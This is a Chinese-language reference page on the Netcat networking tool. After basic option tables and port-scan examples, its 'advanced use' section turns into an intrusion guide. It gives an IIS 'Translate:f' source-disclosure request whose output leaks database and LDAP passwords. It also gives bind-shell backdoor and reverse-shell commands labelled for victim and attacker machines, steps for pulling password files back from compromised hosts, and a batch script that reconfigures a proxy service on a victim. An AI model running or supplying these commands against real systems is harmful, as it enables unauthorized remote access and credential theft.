簡介 在網路工具中有“瑞士軍刀”美譽的NetCat, 在我們用了N年了至今仍是愛不釋手。
基本介紹
- 中文名:作者Hobbit
- 外文名:Netcat
- 榮譽稱號:有“瑞士軍刀”美譽
- 功能:tcp掃描
- 屬性:計算機術語
工具技巧,基本使用,高級套用,
工具技巧
Netcat 就我的一些使用心得和一些幫助文檔中,做一些介紹與大家共勉。
win98用戶可以在autoexec.bat加入path=nc的路徑,win2000用戶在環境變數中加入path中,linux含有這個命令(redhat)
基本使用
想要連線到某處:
nc[-options]hostnameport[s][ports]...
綁定連線埠等待連線:
nc-l-pport[-options][hostname][port]
參數:
參數 | 說明 |
-C | 類似-L選項,一直不斷連線[1.13版本新加的功能] |
-d | 後台執行 |
-e prog | 程式重定向,一旦連線,就執行 [危險!!] |
-g gateway | 源路由跳數,最大值為8(source-routing hop point[s],up to 8) |
-G num | 源路由指針:4,8,12,... (source-routing pointer: 4,8,12,...) |
-h | 幫助信息 |
-i secs | 延時的間隔 |
-l | 監聽模式,用於入站連線 |
-n | 指定數字的IP位址,不能用hostname |
-o file | 記錄16進制的傳輸 |
-p port | 本地連線埠號 |
-r | 任意指定本地及遠程連線埠 |
-s addr | 本地源地址 |
-u | UDP模式,[netcat-1.15可以:遠程nc -ulp port -e cmd.exe,本地nc -u ip port連線,得到一個shell.] |
-v | 詳細輸出——用兩個-v可得到更詳細的內容 |
-w secs | 指定逾時的時間 |
-z | 將輸入輸出關掉——用於掃描時 |
其中連線埠號可以指定一個或者用lo-hi式的指定範圍。
例如:掃描連線埠
tcp掃描
C:\nc>nc-v-z-w2192.168.0.801-140net[192.168.0.80]140(?)net[192.168.0.80]139(netbios-ssn)opennet[192.168.0.80]138(?)net[192.168.0.80]137(netbios-ns)net[192.168.0.80]136(?)net[192.168.0.80]135(epmap)opennet[192.168.0.80]81(?)opennet[192.168.0.80]80(http)opennet[192.168.0.80]79(finger)net[192.168.0.80]25(smtp)opennet[192.168.0.80]24(?)net[192.168.0.80]23(telnet)net[192.168.0.80]21(ftp)
udp掃描
C:\nc>nc-u-v-z-w2192.168.0.801-140net[192.168.0.80]140(?)opennet[192.168.0.80]139(?)opennet[192.168.0.80]138(netbios-dgm)opennet[192.168.0.80]137(netbios-ns)opennet[192.168.0.80]54(?)opennet[192.168.0.80]53(domain)opennet[192.168.0.80]38(?)opennet[192.168.0.80]37(time)opennet[192.168.0.80]7(echo)open
高級套用
1.Window用法:
⑴IE的MIME欺騙
www.try2hack.nl(是一個讓初學黑客技術的人去做實驗的站點)
打開這個頁面,有http://www.try2hack/cgi-bin/level7頁面(這個網站提供了黑客的8關,過了這8關證明你開始入門了),這個頁面告訴我們的瀏覽器不是 IE6.72,我們的作業系統不是LIUNX,我們不是從www.microsoft/ms重定向連結過去的,有病阿(這是一個題目呀,要慢慢研究),linux有IE6.72? 微軟會在它的頁面上放的連結?看看頁面的原始碼,是在伺服器端 執行的perl腳本,根本無法看到,還是研究一下IE5和它通信時都告訴了它什麼,抓包,我們會發現,我們的IE5告訴對方:我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。哈哈,這個cgi應該是根據這些信息知道我們不是它要求的 客戶,嘿嘿,需要欺騙對方才行,用軍刀來可以實現,如下做就可以哄對方了:
nc www.try2hack80 [enter]
GET /cgi-bin/level7HTTP/1.1 [enter]
Accept: image/gif,image/x-xbitmap,application/msword,*/* [enter]
Refererhttp://www.microsoft/ms.htm [enter]
Accept-Language: zh-cn [enter]
Accept-Encoding: gzip,deflate [enter]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) [enter]
Host: www.try2hack [enter]
Connection:
Keep-Alive [enter]
注意,如果出現HTTP 400時,說明你輸入格式有問題,出現httpd 200回應時,就給出結果了:
哈哈!趕快去實現一下(實踐是成功之母)
⑵ⅡS 5 “Translate:f” 顯示代碼脆弱點
Translate:f脆弱點的機制:傳送一個畸形的HTTP GET 請求給伺服器方一個可執行腳本或相關檔案類型(例如.ASP或者global.asa)。這些檔案是用於伺服器上運行的,絕不會到客戶機上去,而這個請求就會導致ⅡS將這種檔案的內容傳送到遠端的客戶機上,而不是在伺服器上運行。這種畸形的HTTP GET請求的關鍵特性是該請求的末尾有一個特定的頭信息Translate:f,並有一個反斜槓”\”附於URL之後。下面就有這樣的一個例子([CRLF]代表回車字元)
注意 GET global.asa 後的反斜槓以及Translate:f頭信息。
GET /global.asa\ HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
將以上內容保存在一個文本檔案中(例如example.txt)
然後向一個有這個漏洞的伺服器傳送
c:\>type example.txt | nc –nvv 192.168.0.80 80
(UNKNOWN) [192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-ⅡS/5.0
Date: Tue,03 Dec 2002 08:50:46 GMT
Content-Type: application/octet-stream
Content-Length: 2790
ETag: “0448299fcd6df1:bea”
Last-Modified: Wed,13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
(“ConnectionText”) = “Dsn=ph;UID=myman;Password=mygod)”
(“LDAPServer”) = “LADP://ldap.:389”
(“LDAPUserID”) = “CN=Admin”
(“LDAPPwd”) = “mygod”
………
3.1.連線埠的刺探
nc -vv ip port
RⅣER [192.168.0.198] 19190 (?) open //顯示是否開放open
⒊2.掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡,系統管理員會額外小心
⒊3. 後門
victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連線victim_IP,然後得到一個shell。
⒊4.反向連線
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.
//或者wollf的反向連線.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP)
這樣就可以保證nc.exe優先於NETBIOS。
⒊5.傳送檔案:
⒊5.1 attacker machine <-- victim machine //從肉雞拖密碼檔案回來.
nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell執行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe裡面執行(終端登入,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
⒊5.2 attacker machine --> victim machine //上傳命令檔案到肉雞
nc -vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell執行
//這樣比較好.我們登入終端.入侵其他的肉雞.可以選擇shell模式登入.
結論: 可以傳輸ascii,bin檔案.可以傳輸程式檔案.
問題:連線某個ip後,傳送完成後,需要傳送Ctrl+C退出nc.exe .
或者只有再次連線使用pskill.exe 殺掉進程.但是是否釋放傳輸檔案打開的句柄了?
⒊6 連線埠數據抓包.
nc -vv -w 2 -o test.txt www. 80 21-15
< 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 #,command "" unr
<6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00 00 01 8f # .....
⒊7 telnet,自動批處理。★★★★★我要重點推薦的東西就是這個.
nc victim_ip port < path\file.cmd /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < path\file.cmd /*victim machine*/ 顯示執行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________